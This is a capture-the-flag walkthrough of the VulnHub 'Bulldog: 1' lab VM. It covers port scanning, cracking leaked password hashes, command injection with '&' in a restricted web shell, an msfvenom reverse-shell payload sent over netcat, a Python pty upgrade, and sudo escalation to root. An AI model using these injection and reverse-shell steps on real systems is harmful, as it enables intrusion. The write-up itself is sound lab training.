CTF Walkthrough: Bulldog: 1

Another one brought to you by the fine folks at VulnHub!

Objective here is to get root and read the file in the /root directory.





root@kali:~# nmap -sV -T4 -p-

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-07 21:10 EST
Nmap scan report for
Host is up (0.00047s latency).

23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
8080/tcp filtered http-proxy
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.15 seconds

Nothing interesting on ports 80 and 8080 when viewed in the browser, EXCEPT THE MOST FEROCIOUS LOOKING BULLDOG EVAR!!!

root@kali:~# gobuster -u -w /usr/share/wordlists/dirb/big.txt

Gobuster v1.2 OJ Reeves (@TheColonial)
[+] Mode : dir
[+] Url/Domain :
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/big.txt
[+] Status codes : 200,204,301,302,307
/admin (Status: 301)
/dev (Status: 301)
/notice (Status: 301)
/robots.txt (Status: 200)

Browser /admin/ takes us to a django admin login page. Noted.

Browser /dev/ gives us a page with some information on how the site was hacked before and where things might currently stand. A lot of roll your own software going on here, guess nobody told them that that’s usually a bad idea for security… Oh well, I’m not here to lecture them, so let’ move on.

There’s also a link to “”, which is asking to authenticate with the server first before being able to use it. But the source of the page gives up a little more information.

<boring stuff removed>
<!--Need these password hashes for testing. Django's default is too complex-->
<!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
Team Lead: alan@bulldogindustries.com
Back-up Team Lead: william@bulldogindustries.com

Front End: malik@bulldogindustries.com
Front End: kevin@bulldogindustries.com

Back End: ashley@bulldogindustries.com
Back End: nick@bulldogindustries.com

Database: sarah@bulldogindustries.com
<more boring stuff removed>

Yeah, it’s a good thing hashes are uncrackable… So let’s save these (and the user names) to a text file. And then crack them.

root@kali:~/CTF/Bulldog# john --show --format=raw-sha1 users.txt

1 password hash cracked, 6 left

Nice! Okay, let’s try ssh (remember nmap showed it running on port 23).

root@kali:~# ssh nick@ -p 23
nick@'s password:
Permission denied, please try again.

Nope. Okay, only other place I’ve seen a login so far was the django admin page.

Which works, but gives us nothing obvious. No permissions to do anything with django. But… we did just authenticate with the server. So let’s go back to the web shell thing. I’m sure that will lead nowhere because it’s perfectly secure with no vulnerabilities, but let’s check anyway to be sure.</sarcasm>

Got a few commands available to us by default, and “ls /root” throws a 500 error, but it looks like using an ampersand will let us chain commands together and use some that aren’t allowed by default.

Command : ls & date

Wed Nov 8 12:11:59 UTC 2017

After poking around for a few minutes, I found the following directories and files under /home:

├── bulldogadmin
│   ├── .bash_logout
│   ├── .bashrc
│   ├── .cache
│   │   └── motd.legal-displayed
│   ├── .hiddenadmindirectory
│   │   ├── customPermissionApp
│   │   └── note
│   ├── .nano
│   ├── .profile
│   ├── .selected_editor
│   ├── .sudo_as_admin_successful
│   └── .wget-hsts
└── django
    ├── .bash_logout
    ├── .bashrc
    ├── bulldog
    │   ├── bulldog
    │   │   ├── __init__.py
    │   │   ├── __init__.pyc
    │   │   ├── settings.py
    │   │   ├── settings.pyc
    │   │   ├── static
    │   │   │   ├── bulldog.jpg
    │   │   │   ├── css
    │   │   │   │   ├── bootstrap.css
    │   │   │   │   ├── bootstrap.css.map
    │   │   │   │   ├── bootstrap-grid.css
    │   │   │   │   ├── bootstrap-grid.css.map
    │   │   │   │   ├── bootstrap-grid.min.css
    │   │   │   │   ├── bootstrap-grid.min.css.map
    │   │   │   │   ├── bootstrap.min.css
    │   │   │   │   ├── bootstrap.min.css.map
    │   │   │   │   ├── bootstrap-reboot.css
    │   │   │   │   ├── bootstrap-reboot.css.map
    │   │   │   │   ├── bootstrap-reboot.min.css
    │   │   │   │   └── bootstrap-reboot.min.css.map
    │   │   │   └── js
    │   │   │       ├── bootstrap.js
    │   │   │       ├── bootstrap.min.js
    │   │   │       └── jquery.min.js
    │   │   ├── templates
    │   │   │   ├── dev.html
    │   │   │   ├── index.html
    │   │   │   ├── notice.html
    │   │   │   ├── robots.txt
    │   │   │   └── shell.html
    │   │   ├── urls.py
    │   │   ├── urls.pyc
    │   │   ├── views.py
    │   │   ├── views.pyc
    │   │   ├── wsgi.py
    │   │   └── wsgi.pyc
    │   ├── db.sqlite3
    │   └── manage.py
    ├── .cache
    │   └── motd.legal-displayed
    ├── .nano
    ├── .profile
    ├── .ssh
    │   └── known_hosts
    ├── .sudo_as_admin_successful
    ├── .viminfo
    └── .wget-hsts

The bulldogadmin home directory looks promising, especially the .hiddenadmindirectory directory.

Command : echo '' & cp /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp . && chmod 777 customPermissionApp && ./customPermissionApp

Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>

HINT: Passing it any user names appears to do nothing.

I poked around for a while and tried a few different things, but I think where we need to go here is to open a reverse shell that points back to our Kali box. I tried a few one liners with bash and netcat and I was getting nowhere, but it looks like I can have netcat listen at least, so I should be able to send an executable to run for the reverse shell. (Hindsight being 20/20, you could also pull one with wget, which might be a little easier, but it’s the same concept, and using netcat is better for the geek cred anyway.)

So generate the reverse shell using msfvenom.

root@kali:~/CTF/Bulldog# msfvenom --platform linux -p linux/x86/shell_reverse_tcp LPORT=65333 LHOST= -f elf -o rshell
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: rshell

Now start listening in the “Web Shell” and dump the output to an “rshell” file.

Command : echo '' & nc -lp 65333 > rshell

Shove the created rshell executable over to the bulldog VM that is now listening, and then start up a listener for when we execute the reverse shell on the target machine.

root@kali:~/CTF/Bulldog# nc -nvv 65333 < rshell
(UNKNOWN) [] 65333 (?) open
sent 152, rcvd 0
root@kali:~/CTF/Bulldog# nc -lp 65333

Now back in the web shell make the file executable and run it.

echo '' & chmod 777 rshell && ./rshell

And now we have a remote shell back on Kali! Checking “id” shows we’re the django user, as expected, and that we’re part of the sudo group, but we’re unable to run sudo without being in a proper shell (and we don’t have a password yet anyway).

uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)
sudo su -
sudo: no tty present and no askpass program specified

Since I need a proper shell, and I see that Python is installed, why not start one in a Python process? (I am a Python developer, so this one feels pretty good).

which python
python -c 'import pty; pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.


Now we need to get to root, but we don’t have a password yet. Searching through the filesystem (where we have permissions) doesn’t tell us much, but dude was working on this customPermissionApp thing, maybe he left some clue in there for us.

django@bulldog:/home/django/bulldog$ strings customPermissionApp
strings customPermissionApp
<blah blah blah>
<removed other stuff, run it yourself if you want to see the rest!>

Uhhh, SUPERultimatePASSWORDyouCANTget, maybe YOU can’t get it, but I think I just did. I’m guessing this is the root password, so let’s do that.

django@bulldog:/home/django/bulldog$ su -
su -
Password: SUPERultimatePASSWORDyouCANTget

su: Authentication failure
django@bulldog:/home/django/bulldog$ sudo su -
sudo su -
[sudo] password for django: SUPERultimatePASSWORDyouCANTget


What?! (Interobang, my wife taught me that, love it)

As I was saying, WHAT?! Why would you put the password for a standard user in that program? I would think you would want the root password if anything… Just kidding, I don’t care. We have root.

root@bulldog:~# ls /root/
ls /root/
root@bulldog:~# cat congrats.txt
cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!

Thanks, but this one was challenging enough for now. Is my coffee done yet?